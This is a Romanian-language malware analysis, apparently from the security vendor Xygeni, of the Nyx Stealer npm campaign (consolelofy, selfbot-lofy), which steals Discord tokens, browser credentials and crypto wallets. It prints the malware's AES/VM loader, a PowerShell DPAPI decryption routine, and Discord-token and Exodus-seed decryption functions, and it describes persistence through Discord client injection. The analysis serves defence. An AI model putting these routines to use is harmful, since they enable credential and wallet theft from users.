Furt de informații npm

Nouă descoperire Infostealer npm: Nyx ​​Stealer deturnează sesiunile Discord

TL; DR

Echipa de cercetare în domeniul securității Xygeni a identificat o campanie sofisticată de furt de informații npm, distribuită prin intermediul a două pachete rău intenționate: consolelofy și selfbot-lofy.

Cea mai recentă versiune (consolelofy@1.3.0) încorporează o sarcină utilă criptată AES de 216KB care se decriptează la momentul execuției și se execută prin vm.runInNewContext()Deoarece logica malițioasă este complet criptată, scanerele statice care se bazează pe inspecția șirurilor de caractere nu pot observa comportamentul acesteia până la momentul execuției.

Odată decriptată, sarcina utilă, marcată intern Hoțul Nyx, ținte:

  • Jetoane de autentificare Discord
  • Peste 50 de magazine de acreditări de browser
  • Peste 90 de extensii pentru portofelul de criptomonede
  • Sesiuni Roblox, Instagram, Spotify, Steam, Telegram și TikTok
  • Persistența clientului desktop Discord

Toate cele 20 de versiuni din ambele pachete au fost raportate și confirmate ca fiind rău intenționate.

Prezentare tehnică a acestui Infostealer npm

Spre deosebire de programele malware tradiționale care se instalează în timpul instalării, această campanie se bazează pe... Runtime model de decriptare.

Sunt:

  • Fără rău intenționat preinstall or postinstall hooks
  • Fără apeluri de rețea evidente în timpul instalării
  • Fără logică de colectare a acreditărilor în text simplu

Sarcina utilă se activează atunci când modulul este importat. Întregul corp malițios este criptat și se materializează în memorie doar în timpul execuției.

Acest design evită în mod special detectarea în timpul instalării pachetului.

Cum se execută de fapt acest Infostealer npm

Înainte de a analiza ce fură Nyx Stealer, trebuie să înțelegem cum se execută.

Logica malițioasă din interiorul acestui infostealer npm urmează un model consistent:

Un încărcător mic decriptează o sarcină utilă criptată mare și o execută dinamic într-un context de mașină virtuală Node.js.

Acest design este deliberat. Atacatorul nu ascunde funcționalitatea doar în spatele ofuscării, ci... eliminarea completă a codului malițios din vizibilitatea statică.

Model de execuție la nivel înalt

La nivel general, wrapper-ul face patru lucruri:

  • Derivă o cheie AES dintr-o parolă codificată hardcoded folosind SHA-256
  • Decriptează un text cifrat hexadecimal mare folosind AES-256-CBC
  • Execută codul JavaScript decriptat folosind vm.runInNewContext()
  • Oferă un sandbox care expune în continuare primitive puternice de execuție

Rezumatul tehnicii de bază

Component Configurație / Valoare
Algoritm AES-256-CBC
Derivarea cheii SHA-256 (parolă)
Vector de inițializare (IV) 16 octeți de 0x00
Execuție vm.runInNewContext(decriptat, sandbox)

În mod critic, sandbox-ul trece prin:

  • require
  • process
  • Buffer
  • cronometre
  • exporturi de module

Aceasta înseamnă că sarcina utilă decriptată își păstrează capacitatea deplină de a:

  • Procese de reproducere
  • Citiți și scrieți fișiere
  • Efectuați apeluri de rețea
  • Modificați aplicațiile locale

Aceasta nu este o mașină virtuală restricționată. Este o mașină virtuală folosită ca trambulină de execuție.

Model de criptare în timpul execuției (mecanismul de execuție principal)

Încărcătorul este mic.
Corpul rău intenționat nu este.

Mai jos este modelul de execuție găsit în interiorul pachetului:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

De ce acest materie

Sarcina utilă decriptată:

  • Face nu există în text simplu în interiorul pachetului npm
  • Este invizibil pentru cei simpli grep sau scanare statică a șirurilor de caractere
  • Se materializează în memorie doar la momentul execuției
  • Se execută cu toate capacitățile runtime ale Node

Această combinație de execuție AES + VM este un indicator comportamental puternic al unui furtul de informații npm încearcă să evite inspecția statică.

Cu alte cuvinte:

Dacă scanați arborele sursă al pachetului, nu vedeți un furt.
Vedeți un decriptor.

Ce se întâmplă după decriptare

Odată executat, Nyx Stealer lansează valuri paralele de colectare a datelor.

Valul 1: Extragerea acreditărilor browserului

Malware-ul:

  • Descarcă un runtime Python din NuGet CDN
  • Instalează biblioteci criptografice
  • Extrage depozite de acreditări bazate pe Chromium
  • Decriptează secretele protejate prin DPAPI

În loc să compileze legături native, utilizează PowerShell pentru a apela direct Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Această abordare:

  • Evită artefactele de compilare
  • Folosește API-uri criptografice native Windows
  • Se integrează în instrumentele administrative

Este vorba de decriptarea acreditărilor la nivel de sistem de operare, nu de scraping.

Valul 2: Decriptarea jetoanelor Discord

Hoțul de date este conștient de protocol. Înțelege formatul token-ului criptat al Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Fluxul operațional:

  • Extrage cheia principală din Discord Local State
  • Decriptați cheia principală prin DPAPI
  • Decriptați blocurile de tokenuri AES-GCM
  • Validarea token-urilor în API-ul Discord
  • Îmbogățiți cu Nitro, insigne, informații de facturare

Aceasta nu este o descărcare generică de acreditări. Este o deturnare de sesiune bazată pe protocol.

Valul 3: Direcționarea portofelelor de criptomonede

Infostealer-ul npm enumeră:

  • Peste 90 de extensii pentru portofelul de browser
  • 27 portofele pentru desktop
  • Căi de portofel rece
  • Fișiere semințe Exodus

Exemplu de încercare de decriptare a seed-ului:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Dacă reușește, compromiterea portofelului este imediată și ireversibilă.

Acesta reprezintă vectorul de monetizare cu cea mai mare valoare al campaniei.

Persistență prin injecție Discord Desktop

După recoltarea acreditărilor, Nyx Stealer încearcă persistența prin modificarea datelor locale. Discordie de client.

Ţintă:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Secvență operațională

Infostealer-ul efectuează următorii pași:

  • Termină procesele Discord care rulează
  • Localizează variantele Discord instalate (Stable, Canary, PTB)
  • Suprascrie discord_desktop_core/index.js
  • Injectează logică webhook controlată de atacator
  • Repornește Discord

Acest lucru asigură că viitoarele sesiuni Discord vor divulga automat token-uri de autentificare noi.

Important este că această persistență nu se bazează pe sarcini programate sau modificări ale registrului. Aceasta valorifică modificarea codului la nivel de aplicație, o abordare mai discretă.

Chiar dacă pachetul npm malițios este eliminat ulterior, clientul Discord rămâne compromis.

Comparație tehnică: Selfbot legitim vs. Infostealer npm

Component Bibliotecă legitimă Nyx npm Infostealer
Criptare Nici unul Sarcină utilă complet criptată AES
Mașină virtuală în timpul rulării Nu este necesar vm.runInNewContext execuție
Acces la acreditări Numai API-ul Discord Browser, portofele, DPAPI
Descărcări externe Nu Runtime Python prin NuGet
Persistență Nu Injectarea clientului Discord
generare de bani Automatizare bot Revânzarea acreditărilor

Numai stratul de criptare separă deja această campanie de o bifurcație open-source tipică.

Un selfbot Discord legitim nu are niciun motiv să-și cripteze întreaga bază de cod, să genereze PowerShell pentru a accesa DPAPI, să descarce runtime-uri externe sau să modifice componentele interne ale aplicațiilor desktop. Atunci când aceste capabilități apar într-o dependență care pretinde că automatizează interacțiunile Discord, nepotrivirea arhitecturală devine imposibil de ignorat.

Din punct de vedere al unei investigații, acest infostealer npm lasă urme pe mai multe straturi. Cu toate acestea, cei mai fiabili indicatori nu sunt URL-urile hardcoded sau căile specifice de fișiere, deoarece acestea se pot schimba între versiuni. În schimb, semnalele durabile sunt structurale.

La nivel de pachet, cel mai puternic semnal de alarmă este combinația dintre o sarcină utilă criptată mare și un wrapper de decriptare la execuție care se execută imediat prin vm.runInNewContext()Deși criptarea în sine nu este în mod inerent rău intenționată, utilizarea decriptării AES urmată de execuția dinamică a mașinii virtuale în cadrul unui pachet utilitar Discord este extrem de anormală.

La nivel de gazdă, tiparele suspecte includ activitatea neașteptată de decriptare DPAPI, generarea de procese dintr-un context de dependență Node.js și modificarea fișierelor aplicației locale care nu ar trebui niciodată alterate de biblioteci terțe. În mod similar, la nivelul de rețea, comunicarea de ieșire de tip webhook inițiată de o dependență de dezvoltare reprezintă o altă anomalie semnificativă.

Cu alte cuvinte, suprafața de detecție nu este un singur indicator al compromiterii. Corelația dintre criptare, execuție la momentul execuției, acces la credențiale și comportamentul de persistență este cea care dezvăluie amenințarea.

Detectare și atenuare cu Xygeni

Furt de informații npm

Acest infostealer npm a fost identificat de Avertizare timpurie împotriva programelor malware (MEW) de la Xygeni prin corelare comportamentală stratificată, mai degrabă decât prin simpla potrivire a semnăturilor.

În loc să caute șiruri de caractere malițioase cunoscute, MEW evaluează anomaliile structurale în întregul arbore sursă. În acest caz, detectarea a apărut din convergența mai multor semnale: o rutină de decriptare AES încorporată în punctul de intrare al modulului, execuția imediată în contextul unei mașini virtuale și o nepotrivire clară între capabilități și intenții.

Este important de menționat că niciunul dintre aceste semnale nu dovedește, în sine, intenții răuvoitoare. Cu toate acestea, atunci când sunt analizate împreună, ele expun o încercare de a ascunde comportamentul la momentul execuției. Această abordare stratificată reduce semnificativ rezultatele fals pozitive, identificând în același timp amenințările la adresa lanțului de aprovizionare cu un grad ridicat de încredere.

În plus, acest caz ilustrează de ce inspecția în timpul instalării este insuficientă. Logica rău intenționată nu se află în scripturile ciclului de viață. Se activează numai după încărcarea modulului și devine vizibilă doar după decriptarea în memorie. Prin urmare, o apărare eficientă necesită analiză conștientă de criptare, recunoașterea tiparelor comportamentale și monitorizarea continuă a dependențelor dincolo de evenimentele de instalare.

Eliminarea registrului este reactivă. Analiza bazată pe runtime este preventivă.

De ce contează acest furt de informații npm

Nyx Stealer reprezintă o evoluție structurală în domeniul malware-ului bazat pe npm.

Din punct de vedere istoric, multe pachete rău intenționate se bazau pe scripturi vizibile în timpul instalării sau pe puncte finale evidente de exfiltrare a credențialelor. Prin contrast, această campanie își criptează sarcina utilă, amână execuția la momentul execuției, utilizează API-uri legitime ale sistemului de operare și stabilește persistența în cadrul aplicațiilor de încredere.

Prin urmare, atacatorul nu trebuie să exploateze infrastructura npm în sine. În schimb, atacul reușește deoarece instalarea dependențelor implică încredere. Dezvoltatorii presupun că importul unei biblioteci este o operațiune sigură, în special atunci când se prezintă ca un fork plauzibil al unui instrument popular.

Pe măsură ce ecosistemele continuă să crească și furcile proliferează, acea graniță implicită de încredere devine o suprafață de atac din ce în ce mai atractivă. Prin urmare, apărarea împotriva hoților de informații npm moderni necesită recunoașterea tiparelor arhitecturale, mai degrabă decât căutarea de șiruri statice.

În cele din urmă, această campanie întărește o lecție esențială în software supply chain securityCele mai periculoase amenințări nu sunt cele care par rău intenționate la prima vedere, ci cele care par legitime din punct de vedere structural până când rularea le dezvăluie adevăratul comportament.

sca-tools-software-instrumente-de-analiză-a-compoziției
Prioritizați, remediați și securizați riscurile software
Obține-ți contul gratuit.
Nu este necesar un card de credit.

Securizează-ți dezvoltarea și livrarea de software

cu suita de produse Xygeni